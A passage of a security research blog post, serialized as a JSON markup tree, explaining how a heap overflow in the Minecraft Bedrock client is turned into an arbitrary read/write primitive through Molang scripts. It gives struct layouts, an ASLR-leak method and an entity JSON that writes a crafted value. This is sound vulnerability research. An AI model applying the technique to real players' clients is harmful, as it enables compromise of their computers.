",{"type":25,"tag":71,"props":153548,"children":153551},{"href":153549,"rel":153550},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[75],[153552],{"type":31,"value":153553},"syntax guide",{"type":31,"value":80},{"type":25,"tag":34,"props":153556,"children":153557},{},[153558,153560,153565,153566,153571],{"type":31,"value":153559},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":25,"tag":115,"props":153561,"children":153563},{"className":153562},[],[153564],{"type":31,"value":10083},{"type":31,"value":12493},{"type":25,"tag":115,"props":153567,"children":153569},{"className":153568},[],[153570],{"type":31,"value":17184},{"type":31,"value":153572}," operators are supported.",{"type":25,"tag":34,"props":153574,"children":153575},{},[153576,153578,153584,153586,153591,153593,153598,153599,153604,153605],{"type":31,"value":153577},"Variables are defined by prepending ",{"type":25,"tag":115,"props":153579,"children":153581},{"className":153580},[],[153582],{"type":31,"value":153583},"variable.",{"type":31,"value":153585}," to the name and assigning a value. For example, to define ",{"type":25,"tag":115,"props":153587,"children":153589},{"className":153588},[],[153590],{"type":31,"value":10587},{"type":31,"value":153592}," as the sum of ",{"type":25,"tag":115,"props":153594,"children":153596},{"className":153595},[],[153597],{"type":31,"value":71},{"type":31,"value":12493},{"type":25,"tag":115,"props":153600,"children":153602},{"className":153601},[],[153603],{"type":31,"value":4729},{"type":31,"value":2957},{"type":25,"tag":115,"props":153606,"children":153608},{"className":153607},[],[153609],{"type":31,"value":153610},"variable.result = variable.a + variable.b;",{"type":25,"tag":34,"props":153612,"children":153613},{},[153614,153616,153621,153622,153627,153628,153633,153634,153639],{"type":31,"value":153615},"Logical operators such as ",{"type":25,"tag":115,"props":153617,"children":153619},{"className":153618},[],[153620],{"type":31,"value":23914},{"type":31,"value":919},{"type":25,"tag":115,"props":153623,"children":153625},{"className":153624},[],[153626],{"type":31,"value":74279},{"type":31,"value":919},{"type":25,"tag":115,"props":153629,"children":153631},{"className":153630},[],[153632],{"type":31,"value":1298},{"type":31,"value":919},{"type":25,"tag":115,"props":153635,"children":153637},{"className":153636},[],[153638],{"type":31,"value":1342},{"type":31,"value":153640},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":25,"tag":191,"props":153642,"children":153644},{"code":153643},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[153645],{"type":25,"tag":115,"props":153646,"children":153647},{"__ignoreMap":7},[153648],{"type":31,"value":153643},{"type":25,"tag":34,"props":153650,"children":153651},{},[153652],{"type":31,"value":153653},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":25,"tag":20392,"props":153655,"children":153657},{"id":153656},"molang-internals",[153658],{"type":31,"value":153659},"Molang Internals",{"type":25,"tag":34,"props":153661,"children":153662},{},[153663],{"type":31,"value":153664},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":25,"tag":34,"props":153666,"children":153667},{},[153668],{"type":31,"value":153669},"Below we describe the structures involved and their memory layout.",{"type":25,"tag":20392,"props":153671,"children":153673},{"id":153672},"molangvariable-and-molangscriptarg",[153674],{"type":31,"value":153675},"MolangVariable and MolangScriptArg",{"type":25,"tag":34,"props":153677,"children":153678},{},[153679,153680,153686],{"type":31,"value":103435},{"type":25,"tag":115,"props":153681,"children":153683},{"className":153682},[],[153684],{"type":31,"value":153685},"MolangVariable",{"type":31,"value":153687}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":25,"tag":191,"props":153689,"children":153691},{"code":153690,"language":4652,"meta":7,"className":18010,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[153692],{"type":25,"tag":115,"props":153693,"children":153694},{"__ignoreMap":7},[153695,153707,153714,153726,153739,153747,153754,153761,153773,153786,153798,153828,153836,153843,153850],{"type":25,"tag":201,"props":153696,"children":153697},{"class":203,"line":204},[153698,153702],{"type":25,"tag":201,"props":153699,"children":153700},{"style":208},[153701],{"type":31,"value":10905},{"type":25,"tag":201,"props":153703,"children":153704},{"style":220},[153705],{"type":31,"value":153706}," MolangVariable {\n",{"type":25,"tag":201,"props":153708,"children":153709},{"class":203,"line":226},[153710],{"type":25,"tag":201,"props":153711,"children":153712},{"style":220},[153713],{"type":31,"value":62866},{"type":25,"tag":201,"props":153715,"children":153716},{"class":203,"line":278},[153717,153721],{"type":25,"tag":201,"props":153718,"children":153719},{"style":208},[153720],{"type":31,"value":7560},{"type":25,"tag":201,"props":153722,"children":153723},{"style":220},[153724],{"type":31,"value":153725}," HashedString {\n",{"type":25,"tag":201,"props":153727,"children":153728},{"class":203,"line":311},[153729,153734],{"type":25,"tag":201,"props":153730,"children":153731},{"style":208},[153732],{"type":31,"value":153733},"        uint64_t",{"type":25,"tag":201,"props":153735,"children":153736},{"style":220},[153737],{"type":31,"value":153738}," variable_name_hash;\n",{"type":25,"tag":201,"props":153740,"children":153741},{"class":203,"line":330},[153742],{"type":25,"tag":201,"props":153743,"children":153744},{"style":220},[153745],{"type":31,"value":153746},"        std::string variable_name;\n",{"type":25,"tag":201,"props":153748,"children":153749},{"class":203,"line":397},[153750],{"type":25,"tag":201,"props":153751,"children":153752},{"style":220},[153753],{"type":31,"value":40067},{"type":25,"tag":201,"props":153755,"children":153756},{"class":203,"line":437},[153757],{"type":25,"tag":201,"props":153758,"children":153759},{"style":220},[153760],{"type":31,"value":62866},{"type":25,"tag":201,"props":153762,"children":153763},{"class":203,"line":464},[153764,153768],{"type":25,"tag":201,"props":153765,"children":153766},{"style":208},[153767],{"type":31,"value":7560},{"type":25,"tag":201,"props":153769,"children":153770},{"style":220},[153771],{"type":31,"value":153772}," MolangScriptArg {\n",{"type":25,"tag":201,"props":153774,"children":153775},{"class":203,"line":490},[153776,153781],{"type":25,"tag":201,"props":153777,"children":153778},{"style":208},[153779],{"type":31,"value":153780},"        uint32_t",{"type":25,"tag":201,"props":153782,"children":153783},{"style":220},[153784],{"type":31,"value":153785}," value_type;\n",{"type":25,"tag":201,"props":153787,"children":153788},{"class":203,"line":499},[153789,153793],{"type":25,"tag":201,"props":153790,"children":153791},{"style":208},[153792],{"type":31,"value":153733},{"type":25,"tag":201,"props":153794,"children":153795},{"style":220},[153796],{"type":31,"value":153797}," value;\n",{"type":25,"tag":201,"props":153799,"children":153800},{"class":203,"line":522},[153801,153806,153810,153814,153819,153823],{"type":25,"tag":201,"props":153802,"children":153803},{"style":220},[153804],{"type":31,"value":153805},"        std::vector",{"type":25,"tag":201,"props":153807,"children":153808},{"style":261},[153809],{"type":31,"value":1298},{"type":25,"tag":201,"props":153811,"children":153812},{"style":208},[153813],{"type":31,"value":10905},{"type":25,"tag":201,"props":153815,"children":153816},{"style":220},[153817],{"type":31,"value":153818}," MolangScriptArg",{"type":25,"tag":201,"props":153820,"children":153821},{"style":261},[153822],{"type":31,"value":1342},{"type":25,"tag":201,"props":153824,"children":153825},{"style":220},[153826],{"type":31,"value":153827}," struct_fields;\n",{"type":25,"tag":201,"props":153829,"children":153830},{"class":203,"line":531},[153831],{"type":25,"tag":201,"props":153832,"children":153833},{"style":220},[153834],{"type":31,"value":153835},"        \n",{"type":25,"tag":201,"props":153837,"children":153838},{"class":203,"line":550},[153839],{"type":25,"tag":201,"props":153840,"children":153841},{"style":220},[153842],{"type":31,"value":125123},{"type":25,"tag":201,"props":153844,"children":153845},{"class":203,"line":563},[153846],{"type":25,"tag":201,"props":153847,"children":153848},{"style":220},[153849],{"type":31,"value":40067},{"type":25,"tag":201,"props":153851,"children":153852},{"class":203,"line":572},[153853],{"type":25,"tag":201,"props":153854,"children":153855},{"style":220},[153856],{"type":31,"value":18073},{"type":25,"tag":34,"props":153858,"children":153859},{},[153860,153862,153867],{"type":31,"value":153861},"In memory a ",{"type":25,"tag":115,"props":153863,"children":153865},{"className":153864},[],[153866],{"type":31,"value":153685},{"type":31,"value":153868}," instance resembles:",{"type":25,"tag":191,"props":153870,"children":153872},{"code":153871},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[153873],{"type":25,"tag":115,"props":153874,"children":153875},{"__ignoreMap":7},[153876],{"type":31,"value":153871},{"type":25,"tag":34,"props":153878,"children":153879},{},[153880],{"type":31,"value":153881},"For reference, example debugger view of the layout:",{"type":25,"tag":34,"props":153883,"children":153884},{},[153885],{"type":25,"tag":127,"props":153886,"children":153888},{"alt":51656,"src":153887},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":25,"tag":34,"props":153890,"children":153891},{},[153892],{"type":31,"value":153893},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":25,"tag":34,"props":153895,"children":153896},{},[153897,153899,153905,153907,153912,153914,153920,153922,153927,153928,153933,153935,153940,153941,153947,153948,153954],{"type":31,"value":153898},"We only care about the ",{"type":25,"tag":115,"props":153900,"children":153902},{"className":153901},[],[153903],{"type":31,"value":153904},"MolangScriptArg",{"type":31,"value":153906}," beginning at offset ",{"type":25,"tag":115,"props":153908,"children":153910},{"className":153909},[],[153911],{"type":31,"value":130002},{"type":31,"value":153913}," because it contains variable values. In the screenshot above, the ",{"type":25,"tag":115,"props":153915,"children":153917},{"className":153916},[],[153918],{"type":31,"value":153919},"value_type",{"type":31,"value":153921}," at ",{"type":25,"tag":115,"props":153923,"children":153925},{"className":153924},[],[153926],{"type":31,"value":130002},{"type":31,"value":7010},{"type":25,"tag":115,"props":153929,"children":153931},{"className":153930},[],[153932],{"type":31,"value":429},{"type":31,"value":153934}," (meaning float), and the ",{"type":25,"tag":115,"props":153936,"children":153938},{"className":153937},[],[153939],{"type":31,"value":40222},{"type":31,"value":153921},{"type":25,"tag":115,"props":153942,"children":153944},{"className":153943},[],[153945],{"type":31,"value":153946},"0x38",{"type":31,"value":7010},{"type":25,"tag":115,"props":153949,"children":153951},{"className":153950},[],[153952],{"type":31,"value":153953},"0xbf2070c8",{"type":31,"value":80},{"type":25,"tag":34,"props":153956,"children":153957},{},[153958,153960,153966,153968,153973,153975,153980,153981,153986,153988,153993,153995,154000],{"type":31,"value":153959},"During assignment, such as ",{"type":25,"tag":115,"props":153961,"children":153963},{"className":153962},[],[153964],{"type":31,"value":153965},"variable.a = variable.b",{"type":31,"value":153967},", each field of ",{"type":25,"tag":115,"props":153969,"children":153971},{"className":153970},[],[153972],{"type":31,"value":153904},{"type":31,"value":153974}," is copied from variable ",{"type":25,"tag":115,"props":153976,"children":153978},{"className":153977},[],[153979],{"type":31,"value":4729},{"type":31,"value":57855},{"type":25,"tag":115,"props":153982,"children":153984},{"className":153983},[],[153985],{"type":31,"value":71},{"type":31,"value":153987},". Interestingly, the ",{"type":25,"tag":115,"props":153989,"children":153991},{"className":153990},[],[153992],{"type":31,"value":40222},{"type":31,"value":153994}," field is always copied as a ",{"type":25,"tag":115,"props":153996,"children":153998},{"className":153997},[],[153999],{"type":31,"value":56713},{"type":31,"value":154001}," even if the type is a 32-bit float.",{"type":25,"tag":34,"props":154003,"children":154004},{},[154005,154007,154013],{"type":31,"value":154006},"Each entity stores its variables in a per-entity vector called ",{"type":25,"tag":115,"props":154008,"children":154010},{"className":154009},[],[154011],{"type":31,"value":154012},"MolangVariableMap",{"type":31,"value":80},{"type":25,"tag":20392,"props":154015,"children":154017},{"id":154016},"molangvariablemap",[154018],{"type":31,"value":154012},{"type":25,"tag":34,"props":154020,"children":154021},{},[154022,154027,154029,154035,154037,154043],{"type":25,"tag":115,"props":154023,"children":154025},{"className":154024},[],[154026],{"type":31,"value":154012},{"type":31,"value":154028}," is simply a ",{"type":25,"tag":115,"props":154030,"children":154032},{"className":154031},[],[154033],{"type":31,"value":154034},"std::vector\u003CMolangVariable *>",{"type":31,"value":154036}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":25,"tag":115,"props":154038,"children":154040},{"className":154039},[],[154041],{"type":31,"value":154042},"std::vector",{"type":31,"value":154044}," layout:",{"type":25,"tag":191,"props":154046,"children":154048},{"code":154047,"language":4652,"meta":7,"className":18010,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[154049],{"type":25,"tag":115,"props":154050,"children":154051},{"__ignoreMap":7},[154052,154064,154080,154096,154112],{"type":25,"tag":201,"props":154053,"children":154054},{"class":203,"line":204},[154055,154059],{"type":25,"tag":201,"props":154056,"children":154057},{"style":208},[154058],{"type":31,"value":10905},{"type":25,"tag":201,"props":154060,"children":154061},{"style":220},[154062],{"type":31,"value":154063}," vector {\n",{"type":25,"tag":201,"props":154065,"children":154066},{"class":203,"line":226},[154067,154071,154075],{"type":25,"tag":201,"props":154068,"children":154069},{"style":208},[154070],{"type":31,"value":18043},{"type":25,"tag":201,"props":154072,"children":154073},{"style":261},[154074],{"type":31,"value":11319},{"type":25,"tag":201,"props":154076,"children":154077},{"style":220},[154078],{"type":31,"value":154079},"buf;\n",{"type":25,"tag":201,"props":154081,"children":154082},{"class":203,"line":278},[154083,154087,154091],{"type":25,"tag":201,"props":154084,"children":154085},{"style":208},[154086],{"type":31,"value":18043},{"type":25,"tag":201,"props":154088,"children":154089},{"style":261},[154090],{"type":31,"value":11319},{"type":25,"tag":201,"props":154092,"children":154093},{"style":220},[154094],{"type":31,"value":154095},"len;\n",{"type":25,"tag":201,"props":154097,"children":154098},{"class":203,"line":311},[154099,154103,154107],{"type":25,"tag":201,"props":154100,"children":154101},{"style":208},[154102],{"type":31,"value":18043},{"type":25,"tag":201,"props":154104,"children":154105},{"style":261},[154106],{"type":31,"value":11319},{"type":25,"tag":201,"props":154108,"children":154109},{"style":220},[154110],{"type":31,"value":154111},"cap;\n",{"type":25,"tag":201,"props":154113,"children":154114},{"class":203,"line":330},[154115],{"type":25,"tag":201,"props":154116,"children":154117},{"style":220},[154118],{"type":31,"value":18073},{"type":25,"tag":34,"props":154120,"children":154121},{},[154122,154127,154129,154134,154136,154142,154144,154149,154150,154155],{"type":25,"tag":115,"props":154123,"children":154125},{"className":154124},[],[154126],{"type":31,"value":151208},{"type":31,"value":154128}," points to the allocated array of elements, ",{"type":25,"tag":115,"props":154130,"children":154132},{"className":154131},[],[154133],{"type":31,"value":10643},{"type":31,"value":154135}," points just past the last used element, and ",{"type":25,"tag":115,"props":154137,"children":154139},{"className":154138},[],[154140],{"type":31,"value":154141},"cap",{"type":31,"value":154143}," points to the end of the allocated buffer. Notably, the types of ",{"type":25,"tag":115,"props":154145,"children":154147},{"className":154146},[],[154148],{"type":31,"value":10643},{"type":31,"value":12493},{"type":25,"tag":115,"props":154151,"children":154153},{"className":154152},[],[154154],{"type":31,"value":154141},{"type":31,"value":154156}," aren't typical integer types for sizes, but both are pointers.",{"type":25,"tag":34,"props":154158,"children":154159},{},[154160],{"type":31,"value":154161},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":25,"tag":191,"props":154163,"children":154165},{"code":154164},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[154166],{"type":25,"tag":115,"props":154167,"children":154168},{"__ignoreMap":7},[154169],{"type":31,"value":154164},{"type":25,"tag":34,"props":154171,"children":154172},{},[154173,154175,154181,154183,154189],{"type":31,"value":154174},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":25,"tag":115,"props":154176,"children":154178},{"className":154177},[],[154179],{"type":31,"value":154180},"variable.result",{"type":31,"value":154182},") may differ between entities. To get around this, ",{"type":25,"tag":115,"props":154184,"children":154186},{"className":154185},[],[154187],{"type":31,"value":154188},"MolangIndexMap",{"type":31,"value":154190}," is used to map a global variable name to the correct per-entity slot.",{"type":25,"tag":20392,"props":154192,"children":154194},{"id":154193},"molangindexmap",[154195],{"type":31,"value":154188},{"type":25,"tag":34,"props":154197,"children":154198},{},[154199,154204,154206,154212,154214,154220],{"type":25,"tag":115,"props":154200,"children":154202},{"className":154201},[],[154203],{"type":31,"value":154188},{"type":31,"value":154205}," is a per-entity ",{"type":25,"tag":115,"props":154207,"children":154209},{"className":154208},[],[154210],{"type":31,"value":154211},"std::vector\u003Cuint16_t>",{"type":31,"value":154213},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":25,"tag":115,"props":154215,"children":154217},{"className":154216},[],[154218],{"type":31,"value":154219},"variable.result = 0",{"type":31,"value":154221}," it:",{"type":25,"tag":6944,"props":154223,"children":154224},{},[154225,154235,154245],{"type":25,"tag":6948,"props":154226,"children":154227},{},[154228,154230],{"type":31,"value":154229},"Checks the global hashmap for ",{"type":25,"tag":115,"props":154231,"children":154233},{"className":154232},[],[154234],{"type":31,"value":10587},{"type":25,"tag":6948,"props":154236,"children":154237},{},[154238,154240],{"type":31,"value":154239},"If found, uses the global index to look up the per-entity index in ",{"type":25,"tag":115,"props":154241,"children":154243},{"className":154242},[],[154244],{"type":31,"value":154188},{"type":25,"tag":6948,"props":154246,"children":154247},{},[154248,154250],{"type":31,"value":154249},"If not found, creates a new global entry and assigns it ",{"type":25,"tag":115,"props":154251,"children":154253},{"className":154252},[],[154254],{"type":31,"value":154255},"last_index + 1",{"type":25,"tag":34,"props":154257,"children":154258},{},[154259,154261,154266,154268,154273,154275,154280,154282,154287,154289,154294,154295,154301,154303,154308],{"type":31,"value":154260},"This means the same global index for variable ",{"type":25,"tag":115,"props":154262,"children":154264},{"className":154263},[],[154265],{"type":31,"value":10587},{"type":31,"value":154267}," maps to the same position inside every entity’s ",{"type":25,"tag":115,"props":154269,"children":154271},{"className":154270},[],[154272],{"type":31,"value":154188},{"type":31,"value":154274},", but the actual ",{"type":25,"tag":115,"props":154276,"children":154278},{"className":154277},[],[154279],{"type":31,"value":153685},{"type":31,"value":154281}," for ",{"type":25,"tag":115,"props":154283,"children":154285},{"className":154284},[],[154286],{"type":31,"value":10587},{"type":31,"value":154288}," may live at different slots inside each entity's ",{"type":25,"tag":115,"props":154290,"children":154292},{"className":154291},[],[154293],{"type":31,"value":154012},{"type":31,"value":20030},{"type":25,"tag":115,"props":154296,"children":154298},{"className":154297},[],[154299],{"type":31,"value":154300},"Entity.MolangIndexMap[global_index]",{"type":31,"value":154302}," stores the per-entity index (slot) of variable ",{"type":25,"tag":115,"props":154304,"children":154306},{"className":154305},[],[154307],{"type":31,"value":10587},{"type":31,"value":80},{"type":25,"tag":34,"props":154310,"children":154311},{},[154312,154314,154319,154321,154326,154328,154333,154335,154340,154342,154348,154350,154355],{"type":31,"value":154313},"Importantly, we found that indices in the ",{"type":25,"tag":115,"props":154315,"children":154317},{"className":154316},[],[154318],{"type":31,"value":154188},{"type":31,"value":154320}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":25,"tag":115,"props":154322,"children":154324},{"className":154323},[],[154325],{"type":31,"value":154012},{"type":31,"value":154327},". This means that if we overwrite the index of variable ",{"type":25,"tag":115,"props":154329,"children":154331},{"className":154330},[],[154332],{"type":31,"value":10587},{"type":31,"value":154334}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":25,"tag":115,"props":154336,"children":154338},{"className":154337},[],[154339],{"type":31,"value":154012},{"type":31,"value":154341},", we could read from and write to ",{"type":25,"tag":115,"props":154343,"children":154345},{"className":154344},[],[154346],{"type":31,"value":154347},"address + 0x38",{"type":31,"value":154349}," through ",{"type":25,"tag":115,"props":154351,"children":154353},{"className":154352},[],[154354],{"type":31,"value":154180},{"type":31,"value":80},{"type":25,"tag":40,"props":154357,"children":154359},{"id":154358},"building-a-molang-arbitrary-rw-primitive",[154360],{"type":31,"value":154361},"Building a Molang Arbitrary R/W Primitive",{"type":25,"tag":34,"props":154363,"children":154364},{},[154365,154367,154372,154374,154379],{"type":31,"value":154366},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":25,"tag":115,"props":154368,"children":154370},{"className":154369},[],[154371],{"type":31,"value":154042},{"type":31,"value":154373}," - specifically, of ",{"type":25,"tag":115,"props":154375,"children":154377},{"className":154376},[],[154378],{"type":31,"value":154012},{"type":31,"value":154380}," vector.",{"type":25,"tag":34,"props":154382,"children":154383},{},[154384,154386,154391,154393,154398,154399,154404,154406,154411],{"type":31,"value":154385},"Because every entity object is heap-allocated and contains a ",{"type":25,"tag":115,"props":154387,"children":154389},{"className":154388},[],[154390],{"type":31,"value":154012},{"type":31,"value":154392}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":25,"tag":115,"props":154394,"children":154396},{"className":154395},[],[154397],{"type":31,"value":151208},{"type":31,"value":56870},{"type":25,"tag":115,"props":154400,"children":154402},{"className":154401},[],[154403],{"type":31,"value":154012},{"type":31,"value":154405}," vector belonging to an entity object placed just next the ",{"type":25,"tag":115,"props":154407,"children":154409},{"className":154408},[],[154410],{"type":31,"value":154012},{"type":31,"value":154412}," allocated buffer.",{"type":25,"tag":191,"props":154414,"children":154416},{"code":154415},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[154417],{"type":25,"tag":115,"props":154418,"children":154419},{"__ignoreMap":7},[154420],{"type":31,"value":154415},{"type":25,"tag":34,"props":154422,"children":154423},{},[154424,154426,154431,154433,154439,154441,154446,154447,154453,154454,154459,154461,154466,154468,154473,154475,154480,154482,154487,154489,154494,154496,154501,154503,154509,154511,154516,154518,154523],{"type":31,"value":154425},"In the scenario above, the ",{"type":25,"tag":115,"props":154427,"children":154429},{"className":154428},[],[154430],{"type":31,"value":154188},{"type":31,"value":154432}," would map ",{"type":25,"tag":115,"props":154434,"children":154436},{"className":154435},[],[154437],{"type":31,"value":154438},"variable.a",{"type":31,"value":154440}," -> index ",{"type":25,"tag":115,"props":154442,"children":154444},{"className":154443},[],[154445],{"type":31,"value":429},{"type":31,"value":919},{"type":25,"tag":115,"props":154448,"children":154450},{"className":154449},[],[154451],{"type":31,"value":154452},"variable.b",{"type":31,"value":154440},{"type":25,"tag":115,"props":154455,"children":154457},{"className":154456},[],[154458],{"type":31,"value":5516},{"type":31,"value":154460},", and so on. If we overwrite the index for ",{"type":25,"tag":115,"props":154462,"children":154464},{"className":154463},[],[154465],{"type":31,"value":154438},{"type":31,"value":154467}," with a value that is out-of-bounds for the ",{"type":25,"tag":115,"props":154469,"children":154471},{"className":154470},[],[154472],{"type":31,"value":154012},{"type":31,"value":154474},", it can instead index the ",{"type":25,"tag":115,"props":154476,"children":154478},{"className":154477},[],[154479],{"type":31,"value":151208},{"type":31,"value":154481}," field of the entity object above. Reading ",{"type":25,"tag":115,"props":154483,"children":154485},{"className":154484},[],[154486],{"type":31,"value":154438},{"type":31,"value":154488}," will then return the pointer stored at offset ",{"type":25,"tag":115,"props":154490,"children":154492},{"className":154491},[],[154493],{"type":31,"value":153946},{"type":31,"value":154495}," from the start of the ",{"type":25,"tag":115,"props":154497,"children":154499},{"className":154498},[],[154500],{"type":31,"value":154012},{"type":31,"value":154502}," (which in this diagram corresponds to ",{"type":25,"tag":115,"props":154504,"children":154506},{"className":154505},[],[154507],{"type":31,"value":154508},"variable.f",{"type":31,"value":154510},"), and writing to ",{"type":25,"tag":115,"props":154512,"children":154514},{"className":154513},[],[154515],{"type":31,"value":154438},{"type":31,"value":154517}," will overwrite that pointer - corrupting ",{"type":25,"tag":115,"props":154519,"children":154521},{"className":154520},[],[154522],{"type":31,"value":154508},{"type":31,"value":80},{"type":25,"tag":34,"props":154525,"children":154526},{},[154527,154529,154534,154535,154541,154543,154548,154550,154556,154558,154563,154565,154570,154572,154578,154580,154586,154588,154593],{"type":31,"value":154528},"To leak the address of the Minecraft executable we could increment ",{"type":25,"tag":115,"props":154530,"children":154532},{"className":154531},[],[154533],{"type":31,"value":154438},{"type":31,"value":238},{"type":25,"tag":115,"props":154536,"children":154538},{"className":154537},[],[154539],{"type":31,"value":154540},"variable.a += 8",{"type":31,"value":154542},"), which advances the pointer used for ",{"type":25,"tag":115,"props":154544,"children":154546},{"className":154545},[],[154547],{"type":31,"value":154508},{"type":31,"value":154549}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":25,"tag":115,"props":154551,"children":154553},{"className":154552},[],[154554],{"type":31,"value":154555},"variable.a = variable.exe_leak + \u003Coffset>",{"type":31,"value":154557}," - this updates the ",{"type":25,"tag":115,"props":154559,"children":154561},{"className":154560},[],[154562],{"type":31,"value":154508},{"type":31,"value":154564}," pointer to our chosen address, and writing to ",{"type":25,"tag":115,"props":154566,"children":154568},{"className":154567},[],[154569],{"type":31,"value":154508},{"type":31,"value":154571},", for example ",{"type":25,"tag":115,"props":154573,"children":154575},{"className":154574},[],[154576],{"type":31,"value":154577},"variable.f = 1337",{"type":31,"value":154579},", writes the value ",{"type":25,"tag":115,"props":154581,"children":154583},{"className":154582},[],[154584],{"type":31,"value":154585},"1337",{"type":31,"value":154587}," to offset ",{"type":25,"tag":115,"props":154589,"children":154591},{"className":154590},[],[154592],{"type":31,"value":153946},{"type":31,"value":154594}," from that calculated address.",{"type":25,"tag":20392,"props":154596,"children":154598},{"id":154597},"testing-the-idea",[154599],{"type":31,"value":154600},"Testing the Idea",{"type":25,"tag":34,"props":154602,"children":154603},{},[154604,154606,154611,154613,154618,154620,154625],{"type":31,"value":154605},"We tested the idea by manually adding a pointer to the start of ",{"type":25,"tag":115,"props":154607,"children":154609},{"className":154608},[],[154610],{"type":31,"value":154012},{"type":31,"value":154612}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":25,"tag":65,"props":154614,"children":154615},{},[154616],{"type":31,"value":154617},"almost",{"type":31,"value":154619}," worked - below is the state of the ",{"type":25,"tag":115,"props":154621,"children":154623},{"className":154622},[],[154624],{"type":31,"value":154012},{"type":31,"value":154626},"'s allocated buffer before the Molang script executes:",{"type":25,"tag":34,"props":154628,"children":154629},{},[154630],{"type":25,"tag":127,"props":154631,"children":154633},{"alt":51656,"src":154632},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":25,"tag":34,"props":154635,"children":154636},{},[154637],{"type":31,"value":154638},"And this is after execution:",{"type":25,"tag":34,"props":154640,"children":154641},{},[154642],{"type":25,"tag":127,"props":154643,"children":154645},{"alt":51656,"src":154644},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":25,"tag":34,"props":154647,"children":154648},{},[154649],{"type":31,"value":154650},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":25,"tag":191,"props":154652,"children":154654},{"code":154653,"language":2933,"meta":7,"className":2931,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[154655],{"type":25,"tag":115,"props":154656,"children":154657},{"__ignoreMap":7},[154658,154665,154686,154698,154710,154731,154738,154745,154752,154764,154777,154789,154801,154813,154829,154836,154848,154856,154864,154871,154878,154885],{"type":25,"tag":201,"props":154659,"children":154660},{"class":203,"line":204},[154661],{"type":25,"tag":201,"props":154662,"children":154663},{"style":220},[154664],{"type":31,"value":1822},{"type":25,"tag":201,"props":154666,"children":154667},{"class":203,"line":226},[154668,154673,154677,154682],{"type":25,"tag":201,"props":154669,"children":154670},{"style":246},[154671],{"type":31,"value":154672},"  \"format_version\"",{"type":25,"tag":201,"props":154674,"children":154675},{"style":220},[154676],{"type":31,"value":2957},{"type":25,"tag":201,"props":154678,"children":154679},{"style":267},[154680],{"type":31,"value":154681},"\"1.10.0\"",{"type":25,"tag":201,"props":154683,"children":154684},{"style":220},[154685],{"type":31,"value":547},{"type":25,"tag":201,"props":154687,"children":154688},{"class":203,"line":278},[154689,154694],{"type":25,"tag":201,"props":154690,"children":154691},{"style":246},[154692],{"type":31,"value":154693},"  \"minecraft:client_entity\"",{"type":25,"tag":201,"props":154695,"children":154696},{"style":220},[154697],{"type":31,"value":38092},{"type":25,"tag":201,"props":154699,"children":154700},{"class":203,"line":311},[154701,154706],{"type":25,"tag":201,"props":154702,"children":154703},{"style":246},[154704],{"type":31,"value":154705},"    